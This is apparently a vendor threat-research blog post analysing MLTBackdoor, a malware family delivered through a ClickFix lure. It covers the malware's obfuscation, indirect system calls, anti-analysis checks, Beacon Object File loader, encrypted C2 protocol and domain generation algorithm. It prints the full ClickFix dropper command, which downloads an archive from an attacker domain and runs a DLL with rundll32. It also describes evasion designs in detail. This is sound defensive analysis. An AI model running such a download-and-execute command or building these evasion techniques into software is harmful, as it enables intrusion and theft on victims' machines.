Technical Analysis of MLTBackdoor

Introduction

In May 2026, Zscaler ThreatLabz identified a new malware family that we track as MLTBackdoor that is likely leveraged by a ransomware-related threat actor. MLTBackdoor has been observed by ThreatLabz being delivered in a multi-stage ClickFix infection chain. MTLBackdoor supports a set of commands like downloading and uploading files from the victim’s system. However, one of the most powerful features is the ability to load Beacon Object Files (BOFs) to expand its capabilities.

In this blog post, ThreatLabz provides a technical analysis of MLTBackdoor, including its core features, configuration, obfuscation, network communication protocol, and capabilities.

Key Takeaways

• In May 2026, ThreatLabz identified a new malware family, MLTBackdoor, likely used in ransomware attacks to establish a foothold for lateral movement.
• MLTBackdoor is heavily obfuscated using both Mixed Boolean-Arithmetic (MBA) and Control Flow Flattening (CFF) techniques.
• MLTBackdoor also employs different tricks to thwart analysis, making static and dynamic analysis harder.
• MLTBackdoor makes use of a domain generation algorithm (DGA) to avoid losing contact when the hardcoded command-and-control (C2) domains are unreachable.
• MLTBackdoor has various filesystem related commands available and features a BOF loader designed to dynamically add new capabilities.

Technical Analysis

In the following sections, ThreatLabz examines the technical details of MLTBackdoor, including its obfuscation methods, anti-analysis techniques, network protocol, and supported commands.

Initial infection chain

The infection chain begins with a ClickFix lure on an automotive-related web page. If the victim copies, pastes, and executes the ClickFix content, the following commands are executed:

"C:\WINDOWS\system32\conhost.exe" --headless cmd /c "md C:\users\\AppData\Local\Temp\x&curl -skLo C:\users\\AppData\Local\Temp\x\t hxxps://hrs2y15sungu[.]com/d&pushd C:\users\\AppData\Local\Temp\x&tar xf t&del t&rundll32 endpointdlp.dll,#2"

The downloaded file, retrieved from a domain that appears in that day’s domain DGA set (discussed later), is a compressed archive that contains the following files:

• data.bin
• endpointdlp.dll

The endpointdlp.dll file decrypts the RC4-encrypted data.bin file, which contains the second stage of the infection chain. The decryption key is stored in its own header and has the following structure:

struct mlt_payload_header
{
   uint32_t payload_size;
   uint8_t  RC4_key[32];
   uint8_t  encrypted_payload[payload_size];                                           
};

The decrypted payload is the MLTBackdoor itself. It first performs a self-update, then reuses the endpointdlp.dll filename and sideloads it via a legitimate signed Microsoft Defender mpextms.exe executable.

Obfuscation and API hashing

MLTBackdoor hinders analysis by using indirect system calls and API hashing, along with different obfuscation methods applied at compilation time using an LLVM-based obfuscator. These methods are described in the following sections.

Mixed Boolean-Arithmetic (MBA)

The Mixed Boolean-Arithmetic (MBA) obfuscation technique takes a normal arithmetic expression like x + y and rewrites it as something mathematically equivalent but much more difficult to follow. For instance, the following figure shows part of the DGA function, where numerous mathematical operations are performed solely to add noise:

Figure 1: MBA obfuscation in MLTBackdoor’s DGA function.

A single increment turns into several lines. For example:

v275 = 2 * (-163 * v248 - 164 * ~v248) - 328;
v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;
v277 = 28 * ~(-45*v276 - 46*~v276 - 46) + 29 * (-46*~v276 - 45*v276) - 1306;
v279 = -22*v248 - 22*~v248 - 22;

But if we replace ~x with -x - 1 they collapse, as shown in the table below:

Table 1: Simplified MLTBackdoor MBA examples.

MLTBackdoor makes extensive use of this technique to the point that around 95% of its code is just extra, unnecessary calculations.

Control Flow Flattening (CFF)

MLTBackdoor also uses control flow flattening (CFF). CFF replaces every if/else block with a large while(1){ switch(state) { … }} structure, so a function ends up looking similar to the following figure:

Figure 2: CFF obfuscation in MLTBackdoor’s command-handling function.

This method essentially uses a few instructions to transform a straightforward function into something that is difficult to understand. The obfuscator shuffles blocks which obscures execution order with different state assignments.

MLTBackdoor performs two additional steps to complicate analysis further:

• The state value is stored at stack offset + N (rsp+N) and is XOR’ed before each comparison.
• The calculation of the next state is wrapped in MBA.

The pseudocode for these steps is shown in the figure below.

Figure 3: Example of MLTBackdoor’s CFF state obfuscation and MBA.

Stack strings

Unlike most malware families, string values are not encrypted or encoded. Instead the strings are constructed at runtime byte-by-byte on the stack. On its own, this isn’t particularly remarkable, but combined with MBA and CFF it results in fragmented strings. For example, the C2 string may be constructed by calling two functions and stitching them together as follows:

Figure 4: MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.

Taken together, these routines construct the full cwrtwright[.]com C2 domain. However, because the string is built across a flattened state machine, the only reliable way to recover it is to trace the state transitions, defeating tools like FLOSS that look for consecutive characters in memory.

API resolution

MLTBackdoor resolves everything at runtime (Win32 APIs, system calls, and Beacon Object File symbols) using DJB2 hashing.

The main difference in MLTBackdoor’s API resolution is how it feeds the strings to the algorithm. ThreatLabz observed the following three cases:

• Normal WinAPI lookups: djb2("WinHttpConnect") → 0x7242C17D
• Same thing but in lower case: djb2("enumwindows")→ 0xDFAE1D05
• Prepending the word “Beacon” before hashing the string: djb2("BeaconNtCreateFile") → 0xFDC751A3

Indirect system calls

Many security products hook WinAPI functions to detect abnormal calls or activity. However, by skipping user mode APIs and the kernel32 wrappers around a system call and going directly to the address where the actual system call is made, it’s possible to evade detection. MLTBackdoor follows this approach using a Hell’s Gate-style technique in three steps:

• Startup builder: When first running, MLTBackdoor walks and matches ntdll exports against a list of 31 “Nt” hashes and builds a runtime table that looks like this:

Table 2: Example MLTBackdoor system call table.

• Wrapper: When it needs to call a Windows API function, MLTBackdoor calls its own wrapper, looks up the provided hash in the table, and retrieves both the system service number (SSN) and the gadget address.
• Trampoline: Finally, MLTBackdoor jumps to the corresponding ntdll system call address, as shown in the figure below:

Figure 5: MLTBackdoor indirect system call trampoline.

The full list of kernel “Nt” functions is available in the Appendix.

Anti-analysis

MLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution.

Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request, as described later in the Network communications section. The following table lists the checks and their associated flags:

Table 3: MLTBackdoor anti-analysis checks and flags.

Capabilities

MLTBackdoor includes a small set of built-in commands:

• download: Grabs a file from the victim’s machine.
• upload: Drops a file on the victim’s machine.
• ls: Lists files in a directory.
• delete: Deletes a file or folder.
• rename: Renames or moves a file or folder.
• mkdir: Creates a new folder.

What really increases MLTBackdoor’s capabilities, however, is the BOF loader functionality.

Beacon Object File loader

A Beacon Object File (BOF) is a Microsoft Common Object File Format (MS-COFF) compiled file, containing sections, a symbol table, and relocations, that malware can map and execute within its own process, then free. Using BOFs for post-exploitation tasks was first popularized by Cobalt Strike, and there are now hundreds of community-made BOFs for a wide range of tasks.

MLTBackdoor’s BOF dispatcher follows these steps:

1. Creates one memory block per section.
2. Walks the COFF symbol table.
3. Applies relocations per section.
4. Changes section permissions to read and execute (RX) only.
5. Handles crashes and returns them as result.
6. Locates the entry point in the symbol table.
7. Removes and frees allocated memory.

MLTBackdoor’s BOF loader is compatible with Cobalt Strike beacons that rely on the small subset of DJB2-hashed imports shown in the table below:

Table 4: MLTBackdoor BOF imports.

What differentiates this BOF loader is that, in addition to the small set of imports above, it includes 19 additional cases that route calls to MLTBackdoor’s own indirect system call wrappers described in the previous sections. These are shown in the table below:

Table 5: Indirect system calls beacon imports supported by MLTBackdoor.

Network communication

MLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path (/api/v1/telemetry) and User-Agent (Microsoft-Delivery-Optimization/10.1) to masquerade as legitimate traffic. Network communications are encrypted using an Elliptic-Curve Diffie-Hellman (ECDH) key exchange with NIST curve P‑256 to generate a shared secret. MLTBackdoor generates a new key-pair per session, and performs ECDH with a P‑256 public key shared by the C2 server. The result is concatenated to both the session’s public key and the C2 server’s public key, and then hashed with SHA256 to derive the shared secret, which is then used as an AES-256-GCM session key. All subsequent messages are then encrypted with this AES session key with a random 12 byte nonce.

Some MLTBackdoor samples use hardcoded stack-built C2 domains in combination with a DGA, while others rely on either hardcoded domains or the DGA alone. The DGA is designed to maintain control of infected systems if the C2s are unreachable. An MLTBackdoor DGA script, including DGA domains through July 2025, is available in the ThreatLabz GitHub repository.

Domain Generation Algorithm (DGA)

MLTBackdoor’s DGA algorithm is a deterministic date-based algorithm that generates a new domain per day. The DGA algorithm is shown below in Python:

Interestingly, the domain created for April 29, 2026 (hrs2y15sungu[.]com) was used not only for C2 communication, but also used for the distribution campaign that day, as explained in the Initial infection chain section.

MLT name origin

ThreatLabz dubbed the name, MLTBackdoor, based on the first 4 magic bytes of the network communication protocol’s header. The header, which is present in every communication (client- and server-side) follows the structure below:

struct mlt_packet_header
{
   uint32_t magic;
   uint32_t session_id;
   uint32_t msg_type;
   uint32_t payload_len;
   uint8_t  nonce[12];
   uint8_t  unknown[4];
};

The magic bytes are 0x014D4C54 (or \x01MLT). The session_id consists of 4 random bytes generated via BCryptGenRandom (regenerated on each handshake). The supported msg_type values are shown in the table below:

Table 6: MLTBackdoor protocol message types.

As mentioned above, MLTBackdoor uses ECDH to generate a shared secret that is used as an AES session key. In order to perform the key exchange, MLTBackdoor first sends the session’s P-256 public key to the C2 server with the following structure:

struct mlt_handshake_request
{
   struct   mlt_packet_header;
   uint8_t  client_p256_x[32];
   uint8_t  client_p256_y[32];
   uint32_t anti_analysis_flags;
};

Below, is an example message in this format:

Figure 6: Example MLTBackdoor ECDH key exchange message.

Once this key exchange is complete, MLTBackdoor uses the shared AES-256-GCM key to encrypt and decrypt subsequent messages. Each packet includes an encrypted payload immediately following the header, using the structure shown below:

struct mlt_packet
{
   struct   mlt_packet_header;
   uint8_t  ciphertext[payload_len];
   uint8_t  aes_gcm_tag[16];
};

Conclusion

Despite being relatively new, MLTBackdoor is already a formidable post-exploitation malware framework that provides filesystem access capabilities and expandable functionality with a BOF loader. Most MLTBackdoor binaries leverage CFF and MBA to complicate reverse engineering along with techniques to evade malware sandboxes and analysis environments. MLTBackdoor also uses a custom binary encrypted network protocol with a DGA for backup communications to hinder takedown attempts by researchers and law enforcement for additional resiliency.

Zscaler Coverage

Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for MLTBackdoor.

Figure 8: Zscaler Cloud Sandbox Report for MLTBackdoor.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels with the following threat names:

• Win64.Backdoor.MLTBackdoor

Indicators Of Compromise (IOCs)

Appendix

DJB2 resolved hashes for Nt* API calls

Cracked SHA256 hashes used to identify running processes